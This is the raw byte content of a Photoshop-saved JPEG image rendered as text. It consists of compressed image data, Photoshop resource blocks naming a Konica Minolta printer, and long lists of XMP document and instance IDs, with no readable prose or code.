uµWF-C&çú4YCísÚölý2Jz—/_×®ŸV%—Îu¯Æ9Y—tæ9ôUS,û.FYõÝ^GÙYÛ~ƒ.Èôéµþ’·ÿF~Ònc‰e –†A6@þPk÷¢gókU¢çd}Ié׊ö‹«ÉÇ¥øÿjkqËßUûFDzÌ[1«ôí÷Sf6>=•+Ý_ bõGâÜm»+Îv.V1kl`{};«oªËªôígÓkêFfVk«yuñVö oè<»oóŽú,oýuGí=E§k©÷´5¦ w¾·~{¶þŒ»wü"JrŸõ£ºš©®ìªZÚ‰’æ[/ɦË~Ù}Y–ÚË,ý>K®²Çã;ÏÖ/«ù¯Ñ£ÿÌþ˜3®Ë/¹õ]eÙÏ×É«ì™Y[_¯¾êkIu•WëÝéT´)ÊÌ7×MÕ´‚òDˆhkK´—„µ•bÔ&æu éc®¦ ZçZ]ü€ô™ìk¬g¿ýÿФ§£}Hɪœª³²,ÇeįS’rl¤`ÛfV3«¿+Šë®·¾ºéÇû/§é³ô¾¥ö­|ª¸VÞ¥mÀßkò,Ç>“«õmnËì:¶7Ôwé½µ}ŸÕèêV†_Q$Î>ÖćL }€î~Êî¯Øßçm£)ŸèR9H5z{žÀ n ~ˆ¾uüí÷~—ü¤’˜;êþ ÝՆǷ­´3-„€Œ(§kZön¥¿œçûÖVø½é™ ÉnNKìnF.PŸAÝ„Ëqñ«ô±±h©´úYõv3{ÿÒ-³•˜(cýëKö¸vÇï6O¨Öþí–3û }¯%¬fê¿Hû @jиXÙ÷úmÛïö$§&ÿ¨!mνƶd6‹74>§ää~ÒvV=­®«+#ú=Ÿè¿Go¬¯u?«Ôõ&á¾Ì¬Šsp…9ôÙwéèdnš_úvûŸ³ùÏæ}%fœ¬·>¶ÙI yÕÛHµî~à~†ÇŠêÿ…þr´?_©5ìŠM °>a²áéú]¿9þ¥_èÿ䦶GÕl ‹Û{í¸=¹õu= ÝM,Âcú?æ,ª¿Ò·ùÏSü"©OÔN‘NONeÙdÈheu‡1®£mŸj¡ØùS^SŸskô]—~WóU±ûÖî-ϵ€Zݶ€áµÀA.k>˜ú~Ï}àÑÒSÏæ}Jé¹ûÔ22rò*¦Újʱ̱ÖZÜÆåSe4ÕèåcY[YŠêšÊ«§ô>•ŠxßTp±sßVEÁö½ÖÞÍ´eÖUök²öã7!Ž·ù÷ÕMõc}£ôž‚ÝI%5úv];§ãtúKV%5Ñ[Ÿŵ´TÂòÐÆïÚßÝVI%?ÿÑé±¥ãÿÆ×ÿVÕ×®Cú^?ümõm]zÊø?É—Î-ïˆüÐò-Kò®ec+0ÂÝ`’àGæÃ{ô÷Å›’r+o¢ïIÅì³BvA©µ>Ç/{¿›ßÿm×j¼’Õhµ+ÊÈ9—Õ£œñ¸h.ØuºÖoÿ¯ÓB³©]]fÃAöo&v ²~˜c·nú?×Z .c{C€ €Dê8))®2í {줴5Â"O´¼×»è}&5¾«Ú‡_PºÊísh%Õ ÷Nâ}7þÚïwæzªò`àDêRSJÌü–4c9în€`¸Œ÷l?¢}®þsó+õ.þmˆøÖÛt½íØÇº¶‘Ïó?EßÈGI%)$’IJI$’R’I$”æu.¶ÎŸ•U¥ÏkÛ½ö'o±±úG7óÖ…V×um¶§Öñ-pà‚ƒŸF}›„«>“]ûÍ\ö.V_BË8Ù º‡pþžýWúÙ‘Œ½_!ëû­<™ò`Ëy}X&}3ù™~ìž©% ­®êÛmN­âZᨠ©©€‚,koÿÒé±¥ãÿÆ×ÿVÕ×®Cú^?ümõm]zÊø?É—Î-ïˆüÐò*Ieu.®ü[lÆôÈs«&›AH0K#ÛµÁeQu½1Ѩû^9s#´ÿ4÷SÿF+~!N „le—Ëíþî•êâcÇÉÎpâ¾u€ßŒuzÝÖÝö†}£ßéYFGø_Ñ¿[2+ÆÃÏÌÁôpz•”·Ê­7ØYËîc®Æ¦í¹­¦ÔÑöšÿYþ‘ú«%Ìtÿ®Wu,ê1ñ0Aªàû^ëÁkFf~Êpoc³§¾ý™·`ÿ;èÿ¤Gú±õ¨õ÷8 vVßB¬ezìo«¿õL—z8Þ†}[7Ùú_Ñ¿ùÔ”ô $’JC—öŸ²ÛöXûFÓénãt{Vï­¾û±×H’l¡ÅúDt°fåýÒ»“ ¬rà7»ëoƒþêÝõ·Áÿu ¤I7Úþ¼þÖ/¹åFü1æ÷}mðÝB©ÔO[4´õ }0ïapªw#Òý"é³³¨Á ÝqòcÒs¿q‹žÆÆÌëÙ‡# –c°í%¼4 £ùémQÎ5锤z_æÕæpð‘†seË?òrÇ÷²U±õXåï´ ûxõd7ýÞªè”)¦ª*mU42¶kG)©¡vèrØNQ—Ê£ýWÿÓé±¥ãÿÆ×ÿVÕ×®Cú^?ümõm]zÊø?É—Î-ïˆüÐò.SéC>ʼV+Üí’ZâÙlînß Ÿ¨ô¶ç:Ÿp­µHw¶Ik¶Ëînß ¯¤¯Ë–Ã/sŠ7îðûšŸW·ò5£Ÿ$x*Uíßõxþe€@ÐFž…Ñè­µS‡Mu²›1šÆ´)µÂËèÓü¶7{Õô”ÌM6ôŽ˜ÐÀÜjÀ®Ö^ÏoѶºÛ‹U­ý××[(ÿ‹AÄú¹Ð🿠ºˆ°\Ý£F½¢Æ×è·èÒÆ}§#eU~‹ô÷¤ZI$§;þota‘^KqšËª;˜ö3_Qù~æÖæ¶ÏÖnºïÒ~}¯V1º~!k±ªmE”׌ݺJ­Þ…Qû´ú–z×VRIJI$’R’I$”¤’I%9}O¢¡•UιÌc±Õ2'wèÝ?£s¿?Ú´i¦ª*m4´2¶kG)¤€ˆ5;±Ç8ÎSŒjsù¤¤’IGÿÙÿí Photoshop 3.08BIM%8BIM:+ printOutputPstSboolInteenumInteClrmprintSixteenBitbool printerNameTEXT$KONICA MINOLTA bizhub C25(DD:8F:11)printProofSetupObjc Proof Setup proofSetupBltnenum builtinProof proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd doub@oàGrn doub@oàBl doub@oàBrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlong cropRectLeftlong cropRectRightlong cropRectToplong8BIMíHH8BIM&?€8BIM Z8BIM8BIMó 8BIM' 8BIMõH/fflff/ff¡™š2Z5-8BIMøpÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿèÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿèÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿèÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿè8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMIܽ Untitled-2½ÜnullboundsObjcRct1Top longLeftlongBtomlongÜRghtlong½slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenum ESliceOrigin autoGeneratedTypeenum ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongÜRghtlong½urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT horzAlignenumESliceHorzAligndefault vertAlignenumESliceVertAligndefault bgColorTypeenumESliceBGColorTypeNone topOutsetlong leftOutsetlong bottomOutsetlong rightOutsetlong8BIM( ?ð8BIM8BIM ? Oà” #ÿØÿí Adobe_CMÿîAdobed€ÿÛ„            ÿÀO "ÿÝ ÿÄ?   3!1AQa"q2‘¡±B#$RÁb34r‚ÑC%’Sðáñcs5¢²ƒ&D“TdE£t6ÒUâeò³„ÃÓuãóF'”¤…´•ÄÔäô¥µÅÕåõVfv†–¦¶ÆÖæö7GWgw‡—§·Ç×ç÷5!1AQaq"2‘¡±B#ÁRÑð3$bár‚’CScs4ñ%¢²ƒ&5ÂÒD“T£dEU6teâò³„ÃÓuãóF”¤…´•ÄÔäô¥µÅÕåõVfv†–¦¶ÆÖæö'7GWgw‡—§·ÇÿÚ ?é±¥ãÿÆ×ÿVÕ×®Cú^?ümõm]zÊø?É—Î-ïˆüÐò*Iq™ß\sªúÙ•Ð~Õ‰„Úìū֞÷Üì–‚æ›q²*ª–¹¬gªÏðŸÈWiúùÓíã5”Û{qqöÔß´\ûG£Œï´ìö:‹Ÿm—¾Š«®¿ç«Eé’\ÝŸ_z#1¨Èkn°]M™6±¡ôSMŸeÉ·!–Û^ïG#}[1>Óe¾•Ÿgõ«SúÉõ‹#§äôì\'ÑXÏfFE™¹ uµWF-C&çú4YCísÚölý2Jz—/_×®ŸV%—Îu¯Æ9Y—tæ9ôUS,û.FYõÝ^GÙYÛ~ƒ.Èôéµþ’·ÿF~Ònc‰e –†A6@þPk÷¢gókU¢çd}Ié׊ö‹«ÉÇ¥øÿjkqËßUûFDzÌ[1«ôí÷Sf6>=•+Ý_ bõGâÜm»+Îv.V1kl`{};«oªËªôígÓkêFfVk«yuñVö oè<»oóŽú,oýuGí=E§k©÷´5¦ w¾·~{¶þŒ»wü"JrŸõ£ºš©®ìªZÚ‰’æ[/ɦË~Ù}Y–ÚË,ý>K®²Çã;ÏÖ/«ù¯Ñ£ÿÌþ˜3®Ë/¹õ]eÙÏ×É«ì™Y[_¯¾êkIu•WëÝéT´)ÊÌ7×MÕ´‚òDˆhkK´—„µ•bÔ&æu éc®¦ ZçZ]ü€ô™ìk¬g¿ýÿФ§£}Hɪœª³²,ÇeįS’rl¤`ÛfV3«¿+Šë®·¾ºéÇû/§é³ô¾¥ö­|ª¸VÞ¥mÀßkò,Ç>“«õmnËì:¶7Ôwé½µ}ŸÕèêV†_Q$Î>ÖćL }€î~Êî¯Øßçm£)ŸèR9H5z{žÀ n ~ˆ¾uüí÷~—ü¤’˜;êþ ÝՆǷ­´3-„€Œ(§kZön¥¿œçûÖVø½é™ ÉnNKìnF.PŸAÝ„Ëqñ«ô±±h©´úYõv3{ÿÒ-³•˜(cýëKö¸vÇï6O¨Öþí–3û }¯%¬fê¿Hû @jиXÙ÷úmÛïö$§&ÿ¨!mνƶd6‹74>§ää~ÒvV=­®«+#ú=Ÿè¿Go¬¯u?«Ôõ&á¾Ì¬Šsp…9ôÙwéèdnš_úvûŸ³ùÏæ}%fœ¬·>¶ÙI yÕÛHµî~à~†ÇŠêÿ…þr´?_©5ìŠM °>a²áéú]¿9þ¥_èÿ䦶GÕl ‹Û{í¸=¹õu= ÝM,Âcú?æ,ª¿Ò·ùÏSü"©OÔN‘NONeÙdÈheu‡1®£mŸj¡ØùS^SŸskô]—~WóU±ûÖî-ϵ€Zݶ€áµÀA.k>˜ú~Ï}àÑÒSÏæ}Jé¹ûÔ22rò*¦Újʱ̱ÖZÜÆåSe4ÕèåcY[YŠêšÊ«§ô>•ŠxßTp±sßVEÁö½ÖÞÍ´eÖUök²öã7!Ž·ù÷ÕMõc}£ôž‚ÝI%5úv];§ãtúKV%5Ñ[Ÿŵ´TÂòÐÆïÚßÝVI%?ÿÑé±¥ãÿÆ×ÿVÕ×®Cú^?ümõm]zÊø?É—Î-ïˆüÐò-Kò®ec+0ÂÝ`’àGæÃ{ô÷Å›’r+o¢ïIÅì³BvA©µ>Ç/{¿›ßÿm×j¼’Õhµ+ÊÈ9—Õ£œñ¸h.ØuºÖoÿ¯ÓB³©]]fÃAöo&v ²~˜c·nú?×Z .c{C€ €Dê8))®2í {줴5Â"O´¼×»è}&5¾«Ú‡_PºÊísh%Õ ÷Nâ}7þÚïwæzªò`àDêRSJÌü–4c9în€`¸Œ÷l?¢}®þsó+õ.þmˆøÖÛt½íØÇº¶‘Ïó?EßÈGI%)$’IJI$’R’I$”æu.¶ÎŸ•U¥ÏkÛ½ö'o±±úG7óÖ…V×um¶§Öñ-pà‚ƒŸF}›„«>“]ûÍ\ö.V_BË8Ù º‡pþžýWúÙ‘Œ½_!ëû­<™ò`Ëy}X&}3ù™~ìž©% ­®êÛmN­âZᨠ©©€‚,koÿÒé±¥ãÿÆ×ÿVÕ×®Cú^?ümõm]zÊø?É—Î-ïˆüÐò*Ieu.®ü[lÆôÈs«&›AH0K#ÛµÁeQu½1Ѩû^9s#´ÿ4÷SÿF+~!N „le—Ëíþî•êâcÇÉÎpâ¾u€ßŒuzÝÖÝö†}£ßéYFGø_Ñ¿[2+ÆÃÏÌÁôpz•”·Ê­7ØYËîc®Æ¦í¹­¦ÔÑöšÿYþ‘ú«%Ìtÿ®Wu,ê1ñ0Aªàû^ëÁkFf~Êpoc³§¾ý™·`ÿ;èÿ¤Gú±õ¨õ÷8 vVßB¬ezìo«¿õL—z8Þ†}[7Ùú_Ñ¿ùÔ”ô $’JC—öŸ²ÛöXûFÓénãt{Vï­¾û±×H’l¡ÅúDt°fåýÒ»“ ¬rà7»ëoƒþêÝõ·Áÿu ¤I7Úþ¼þÖ/¹åFü1æ÷}mðÝB©ÔO[4´õ }0ïapªw#Òý"é³³¨Á ÝqòcÒs¿q‹žÆÆÌëÙ‡# –c°í%¼4 £ùémQÎ5锤z_æÕæpð‘†seË?òrÇ÷²U±õXåï´ ûxõd7ýÞªè”)¦ª*mU42¶kG)©¡vèrØNQ—Ê£ýWÿÓé±¥ãÿÆ×ÿVÕ×®Cú^?ümõm]zÊø?É—Î-ïˆüÐò.SéC>ʼV+Üí’ZâÙlînß Ÿ¨ô¶ç:Ÿp­µHw¶Ik¶Ëînß ¯¤¯Ë–Ã/sŠ7îðûšŸW·ò5£Ÿ$x*Uíßõxþe€@ÐFž…Ñè­µS‡Mu²›1šÆ´)µÂËèÓü¶7{Õô”ÌM6ôŽ˜ÐÀÜjÀ®Ö^ÏoѶºÛ‹U­ý××[(ÿ‹AÄú¹Ð🿠ºˆ°\Ý£F½¢Æ×è·èÒÆ}§#eU~‹ô÷¤ZI$§;þota‘^KqšËª;˜ö3_Qù~æÖæ¶ÏÖnºïÒ~}¯V1º~!k±ªmE”׌ݺJ­Þ…Qû´ú–z×VRIJI$’R’I$”¤’I%9}O¢¡•UιÌc±Õ2'wèÝ?£s¿?Ú´i¦ª*m4´2¶kG)¤€ˆ5;±Ç8ÎSŒjsù¤¤’IGÿÙ8BIM!]Adobe PhotoshopAdobe Photoshop CC 20158BIMÿá^hhttp://ns.adobe.com/xap/1.0/ 24C0F66BEE4255D5A6652224323B2BE8 2ED7AFCAEA3DD855A7BBEF2B48FBBFBC 3438C8E8532A58311908A03950CE1149 40FF76FC36B13C777AE77F6785931B7E 564CB7354952174746F9C683D3C8BC9E 63C7DB8EB22D732B278F8DE1053F28CA 714BA059FC480365C43349D83C88F7C4 7A655FD44BB6E7D64EE5D84FDDC965E0 80BB00B95586F523C121BCFF3DD2EA69 816EB9E3E8340DDEBE17BA5F755CDB4E 8C44EEF7DF16ACCAE9C99DC75C27A293 8EF68AA4D9304B7636DF4074D14E7E12 AFB92555CE95106FB636EF3E5A6A09E6 B817A9F9D3C6F8A0765727037B9EF983 B87AAB1C99C109B3978A2D202D09508E B9DBF1FC4E4D1EA4BBC629476E5B763D BADB836058035EDB60727A6B21F14D0C C57E516DAE26F155C207BEE1D8573C16 CCBE9AB7B3921C4E12D88BAD1BE0EE8A D5E98E513F87FCD5546A78B6FFCA02E7 E31A71F69D305B7CDD88E26EB4DD5DD7 E5F820EF475F6F977F553D7A6F647427 FA528941B273F90160ABB80B5765FE8F adobe:docid:photoshop:14516909-f7fc-11d8-8b87-e9685a694365 adobe:docid:photoshop:2c10dad2-02ab-11df-b41e-e2f0ed7276ab adobe:docid:photoshop:710837e2-af6f-11db-9614-b22403f05d83 adobe:docid:photoshop:882a3daa-47d0-11db-b4c1-cfc237300034 adobe:docid:photoshop:9292eb5e-6ce8-11df-8d9d-d0d5522d8976 uuid:00B6909E1E9CDD11A18DF4A914E05FB8 uuid:05870EACF79EDE119C80DDA2646DC1E2 uuid:0BBFD23342DDDE11A93EE2DB2949B70E uuid:0BF7462D89E3DE11A5D7BEDCE44A6414 uuid:0C1A40AC3AD9DE1195ABA7D0427DEAD1 uuid:0CF2377E74EEDE118CE4DEFD6A663FC2 uuid:0EDD2C3370B1DD11A2AAD17DBE00093B uuid:106DD753E1FADE11957CF581C8D8C223 uuid:1190DF4EB6DEDB11BADA9E936C6609FF uuid:1288FC50F8F8E011B64FCB0468DB45A1 uuid:12B02B27B15EDF118D3FB0170933C548 uuid:145A930FC7B1DD11A371C92140C963C3 uuid:179A76CE7610DF11B619FB872F401D6F uuid:1826E131C3CBDE119E3ACD635AB6EB1B uuid:1A6DA6217663DF1198DC84A5B9F9CC06 uuid:1ACAC469A512DF11BE5CC8FF7D5CA306 uuid:1C329D251EC0DD11AF3DE41D89EAED68 uuid:23BAA0C39925DF11A66FE80D3EE0292C uuid:2815FB0FC5B0DD11AC56ADB21442F0AD uuid:2820F9E874BEDE11957DD0CA458121D7 uuid:2B4C83E29441DF1185AED399D17A780F uuid:2F4C1070DDADDE118E8C9D84E419DA51 uuid:35AABE479FB8DD1190D4EE4F3F2CD71B uuid:3B87CD4D92B1DD11A2AAD17DBE00093B uuid:3F4BF39DE4AEDE11A4C0A7BBDD32A7D3 uuid:404D584E0C11DF119B19E3523AC03905 uuid:4D7030AD0D3DDF11AAAEB00DFE4337F6 uuid:4ED41DA51DE0DE118C42C5870B6F700B uuid:54CD6AD5F239DC118D55CE2E7EDD8EE6 uuid:686E968EB469DD11BFA0A2D66900F031 uuid:6B0A6FCA00A9DE11A501EEDC1076C3B7 uuid:6C1531A4EE53DF11A264A9165F24974D uuid:6D5C4B1E8BB8DD1190D4EE4F3F2CD71B uuid:6E6FF7DCE9BEDD11AE8F898A61D97961 uuid:80B3EF2B8238DF11B882B5E40CA4E277 uuid:823D8F08ED57DF11BA6BB7EEEEFE34B8 uuid:87BBF1A3B3BFDD11B8B698618E1043BB uuid:8DC4999100B4DD11B26EF96F3946DF53 uuid:8F70EC25B912DF11BE5CC8FF7D5CA306 uuid:920F91263A51DE1180CDD5E85431F468 uuid:923F263E4EBFDD11AE8F898A61D97961 uuid:931EE62C8100E011963DAE138AF647E8 uuid:958826E68A50DE11BD77A4E21EEF99AC uuid:9713A9DE71EEDE118CE4DEFD6A663FC2 uuid:993FD3705755DF11A258D9757AE5B5CB uuid:A09FFB2EF3B3DD1181079104C1F10DD7 uuid:A46EB9944451DE1180CDD5E85431F468 uuid:A5EF2E796543DF1186DEC921B39688F4 uuid:A7837EF5A0B4DD118F3DAD67C2DA79EC uuid:AC92A7D9E631DF118C79ED91A219D1F2 uuid:B1A55FBD96CADD11AF249FC6C2FACE9B uuid:B22CD14B6A03E011974FEA172C7E7A13 uuid:B457AD0C49BFDD11AE8F898A61D97961 uuid:B804571A8960DC11BF9CB9A17A5985D7 uuid:BA36E7841752DF1185D1FF30B0B7C4CE uuid:BC4DF0BE8C3ADF119F0EC7B0839DD7F1 uuid:BDB5AE8705B2DD119FE6D31CBD3A46F2 uuid:BEDB7BC80E8DDE119B38F30F53B96E70 uuid:BF58C40214BFDD11AE8F898A61D97961 uuid:C3F23F3A49B4DD11B26EF96F3946DF53 uuid:C58EFF102B4EDE118857BB2784DAE39C uuid:C6A51874DC99DC11BF6298BF3B012F3F uuid:C84DDE190B12DF1191D5D8018C542B44 uuid:CAB148F38BABDE118684D06097399172 uuid:CDDCAA836B80DE11B477A84987C1DFFE uuid:D51767AFDAB5DD119A35B025F5AAEFC3 uuid:DEFE3EE34DB4DD11B26EF96F3946DF53 uuid:E330DFF1C954DF119EF3AD179C913729 uuid:E6BE0625FB53DF11A264A9165F24974D uuid:E6E1FB51C7C6DD11A5D0CDE342BCC951 uuid:E772349A06B3DD119BD6EF28F35E4145 uuid:EC5381BE772CDF1192DEB8D0AAFE96D4 uuid:F071EAF5075EDF1182E3F9FEF56BE0E4 uuid:F8B707423458DF11A642DF305C70787F xmp.did:00C845B51CA2DF11A48BC2567E539170 xmp.did:01801174072068118C14E44C19E32BE4 xmp.did:0180117407206811B9E7E2B4A2ADF1C2 xmp.did:01D1128D3533E01198948F1169D843BD xmp.did:01E8B2AF6191E211861FF94BE7352479 xmp.did:04AFECAF29A4E111823D9DB141D58A0B xmp.did:04F58D365018E211B5C1F555BF50111B xmp.did:04f32fa4-f17f-3f4b-9001-0f310eed0c69 xmp.did:05ce0855-73a5-b04a-8bfc-30f6213138bb xmp.did:067C9ED22078E111B464CE3782CD8F94 xmp.did:06FB1F8399A9E111B6D2DEF9338075EB xmp.did:09ec0bb2-be8c-dc41-83b7-3ac02a0b451a xmp.did:0B56C1DD82B4E111985492B4AFE1B9A0 xmp.did:0C17A2A34D85E111A383CF89FC91BB3D xmp.did:0D92B33E397EE111AEC8E37EA9A84537 xmp.did:0DE4C454CB16E21181FEAC7FADD3785D xmp.did:0E10D680EF6CE1118797F32DEBC51774 xmp.did:0bca2a0a-ad5b-481b-95b9-5ea027d92d94 xmp.did:103AF86FEA1DE211BE3ADA45E04BE588 xmp.did:122B344FE91DE211BE3ADA45E04BE588 xmp.did:1249D5BBAB13E211B06CC14A23619D4E xmp.did:1251461BEF3AE2118EFAC49BB171AF8C xmp.did:12EA4D21D7A8E11184AEE9316A11F769 xmp.did:12a80778-755a-024c-b2ed-e91fcf5fceff xmp.did:146BB971B1206811B4F28226188677F4 xmp.did:14D9FEB064AEE211BCD9BCF0B6A38019 xmp.did:175FF4EE99F5E1118ADE8FB2EBDAD252 xmp.did:17A546354891E211B99FF6D2720A5FCD xmp.did:17CCB931C334E21199489EEA0339025C xmp.did:181786E6637EE111AEC8E37EA9A84537 xmp.did:194D6EE46C18E211B5C1F555BF50111B xmp.did:19A546354891E211B99FF6D2720A5FCD xmp.did:1A4D6EE46C18E211B5C1F555BF50111B xmp.did:1B4D6EE46C18E211B5C1F555BF50111B xmp.did:1C37C21FB99DE111AAB8E37A209D3289 xmp.did:1DB82EFFEF82E1118EABF847DB4BE9AB xmp.did:1E8ADEDE8B76E211AD4A949163E9D7C3 xmp.did:1FA7C4B2D87CE111A9F1C87B272642C2 xmp.did:1c42fe2d-558a-ba4e-9b8a-4541576c7b5a xmp.did:208ADEDE8B76E211AD4A949163E9D7C3 xmp.did:213BEB81B199E1119D5782F3E9C8945B xmp.did:219DE4C32019E211BBD1B0767C7F73C3 xmp.did:221978E5C630E311AF1EDEA85503FC03 xmp.did:242F9095D366E1118CC686DBB9D027D5 xmp.did:252B9D798879E1119187A1A7630DDDBC xmp.did:252F9095D366E1118CC686DBB9D027D5 xmp.did:275186CE9F8FE111B8E38B9EBF17F79D xmp.did:277B0F7F490DE211B2809F6E15FC154A xmp.did:297B0F7F490DE211B2809F6E15FC154A xmp.did:2B7B0F7F490DE211B2809F6E15FC154A xmp.did:2F2659CE0769E111B0E6800325F8C44D xmp.did:2b7a49fa-8f7f-4e16-87b7-3e88fba9ef44 xmp.did:302659CE0769E111B0E6800325F8C44D xmp.did:309AFA8B64B5E111A95CB1A62E4DF1AC xmp.did:317E7633A5F2E1118709DFEB840581EA xmp.did:3245def6-c0bb-6047-9622-b697a60ee7a7 xmp.did:332659CE0769E111B0E6800325F8C44D xmp.did:33B76AD03D1FE211BCD9D8A6011B69C8 xmp.did:351A284A5E9FE111980988B4C412F7C1 xmp.did:359E6429A2B3E111BF28D44E2B07392F xmp.did:364432B397BBE1119E3FF83573FC51EA xmp.did:372028ADCD95E111AAECE37025C74B21 xmp.did:38AE97EC2D98E1118E2B8A6A02889A98 xmp.did:39FA73BDAE9EE111A2FAFB2A278A64C0 xmp.did:3CCE8D17DFA8E211A91DDEECD61D88A8 xmp.did:3DBD0F79C5B6E11181A2C0A23DE116D7 xmp.did:3E70801653AAE111B35BE87D71EB5401 xmp.did:3F29700B45B9E1119CADD276A611E5CC xmp.did:3F9835575F7AE111A0D1B18ED130D69A xmp.did:4121B904E4CADF11B852A914E5C5BD3B xmp.did:414D085E7095DF11AA93C021CE9906B2 xmp.did:463a465e-8d94-7a4d-a6d5-bdf875e4de4b xmp.did:47461463470AE011B0A8C0D272D58DCE xmp.did:480CAB65CF74E111AE78CED4872A70AA xmp.did:4844768CD692E111A4B5CDBB06F442FD xmp.did:49E215989A72E111B28FC6F55B226079 xmp.did:4A9E9C13DB37E211834AB25A843065D7 xmp.did:4B362AADB9A3DF118021EE59C872A44F xmp.did:4BE7EB26819BE111B8C7B99DD5A8B925 xmp.did:4CF54091EAEDE1118458CAA006DEFDE7 xmp.did:4E41F0A80D6DE1118797F32DEBC51774 xmp.did:4E5A824DA51EE21183B4F84B732E463A xmp.did:4EF54091EAEDE1118458CAA006DEFDE7 xmp.did:4FFA841CA566E1118CC686DBB9D027D5 xmp.did:4a62e634-b55d-7046-b4e1-54857dda2ba9 xmp.did:4b7da0e1-93a2-8748-9d1d-901d79e6376e xmp.did:513FAB111948E111A4BEF726D9584870 xmp.did:541B03B74A6FE111B67ED3F6E879F4CD xmp.did:594DBA513695E1119079E439EB2CF18B xmp.did:5A850778FD68E111B0E6800325F8C44D xmp.did:5B850778FD68E111B0E6800325F8C44D xmp.did:5C640264FBA0E1119184F529E6A11A30 xmp.did:5D389C93A46EE11191C6D75DB599D472 xmp.did:5D423FCD13F1E111983FAAFC647F534C xmp.did:5b3ffd31-54fa-3747-a126-f04d532c7440 xmp.did:605E140B09206811822AE52FD64B4192 xmp.did:61B087DD2977E111B396E420CCDEB3A8 xmp.did:6339D65CD800E211B6BE8B309D16A124 xmp.did:63BB40411D56E111BE7BB29800EA4F54 xmp.did:645E140B09206811822AE52FD64B4192 xmp.did:64E64CBF6018E211B5C1F555BF50111B xmp.did:6B72E326D7BEE1119333A57F98773F7A xmp.did:6C3F892A9659E2118012E355DFE69ABC xmp.did:6C8A69BCC874E111AE78CED4872A70AA xmp.did:6CAC1FB1C5F8E111871BFA28DADCB27A xmp.did:6CDE66E6528DE111BA46FF99F67A88C8 xmp.did:6E8AD6F6C17CE111A9F1C87B272642C2 xmp.did:6F5110532E19E211BBD1B0767C7F73C3 xmp.did:710F7327C774E111AE78CED4872A70AA xmp.did:75E7B608FC36E311B9CCBB1910268AAC xmp.did:76BF48835B2BE3118AD3D40A075F91FB xmp.did:7A60FC8E6572E111B28FC6F55B226079 xmp.did:7B38C2F4C408E01181CFCB66DAA94D57 xmp.did:7C1355F5904BE3119AEA91EADF6FD78B xmp.did:7CE9B4669366E1118CC686DBB9D027D5 xmp.did:7CFAC37B0369E111B0E6800325F8C44D xmp.did:7D33E536C3EDE1118458CAA006DEFDE7 xmp.did:7F6C89075C1AE011B315B9E51B3E2B02 xmp.did:7FBD86B76C18E211B5C1F555BF50111B xmp.did:7FE9B4669366E1118CC686DBB9D027D5 xmp.did:7FFAC37B0369E111B0E6800325F8C44D xmp.did:7FFBD884711DE0118A2CC66A4AF9A601 xmp.did:80162CD45785E111A383CF89FC91BB3D xmp.did:8092F0658517E211AB07CCCE107DAAD5 xmp.did:80A696AC5A2BE311865AB1214E279F3D xmp.did:8160FC8E6572E111B28FC6F55B226079 xmp.did:81B0459FAA71E1119EADB9F628238F61 xmp.did:81E9B4669366E1118CC686DBB9D027D5 xmp.did:8386DCBE9CEBE1118387A9F101B514D2 xmp.did:83FAC37B0369E111B0E6800325F8C44D xmp.did:84205F973F206811BE2DA52D8D12849C xmp.did:84FAC37B0369E111B0E6800325F8C44D xmp.did:85883CAC629FE111980988B4C412F7C1 xmp.did:85FAC37B0369E111B0E6800325F8C44D xmp.did:86FAC37B0369E111B0E6800325F8C44D xmp.did:88570CF64661E2119DD1E87C6953061F xmp.did:8B6F9686C91CE011B95782C5104B35F3 xmp.did:8C3EFE47305EE211A121C5A265E92006 xmp.did:8C6F9686C91CE011B95782C5104B35F3 xmp.did:8CEC074CE9D7DF11B72380DDFFC0B516 xmp.did:8D6F9686C91CE011B95782C5104B35F3 xmp.did:8E2C6CE81B6CE111AA1DC8D0AEFEA39B xmp.did:8FBBDBC32C18E211B5C1F555BF50111B xmp.did:8FD3F163D137E3119814AC2B6E5ADE29 xmp.did:8FE60279F682E1119818BB9F5CD2E454 xmp.did:8FF760464E40E211AFE78001A719A17E xmp.did:907E005A98F2E1119DB683E0B723ECF3 xmp.did:93D06F91BF8AE111920CFAE3318C27F7 xmp.did:93E37FB603B6E1119B1CA8B317B851B5 xmp.did:951234F4CB78E11182AACA43B4693427 xmp.did:96AD90B2C487E1118130B0B097258DA0 xmp.did:996B33BB2AF7E111B536ADE5F4B81640 xmp.did:99F69793D283E1118785ACA5B8151F80 xmp.did:9A4FF0A1431FE211BCD9D8A6011B69C8 xmp.did:9AE10A7BC46EE2119722AB472F27C1C0 xmp.did:9D9D9E3653B7DF11B47C8A1BD27BCEC0 xmp.did:9E2AEF0867FEE111B228B17FF0733132 xmp.did:9F256CAA1B98E1118E2B8A6A02889A98 xmp.did:A175CB0CF866E1118CC686DBB9D027D5 xmp.did:A42393C9148011E2A77D8019583A1942 xmp.did:A48A9730B78EE1119540F23C69E5B7F4 xmp.did:A588B2798B18E311BCCED9E78F387C94 xmp.did:A6B5E3A40EB8DF11A87AD3E82C368F32 xmp.did:A7671186B0CD11E1BE6CF98540D179B4 xmp.did:A80B85EA8914E21181D4DE705B19AEB5 xmp.did:A846B3FBFA0DE21182D3CFAECEECC812 xmp.did:AA46B3FBFA0DE21182D3CFAECEECC812 xmp.did:AABA1771F80DE21182D3CFAECEECC812 xmp.did:ACDCB36DB0CD11E1B281D08E24676CDD xmp.did:B09B674CAF3FE3119770F61715F97DA5 xmp.did:B0CB83CE42FBE1119A3AD98B6AD686C0 xmp.did:B4F9EE26F34CE111AA8CAB2C32AAE47D xmp.did:B79E309E1249E211862CB46592A92CCE xmp.did:B7E7942AA53FE211B31782221D3575C2 xmp.did:B8844DCE7A43E2119DD8B1B6D3B7801E xmp.did:B892028F90B0E111865CAD4E389A31DA 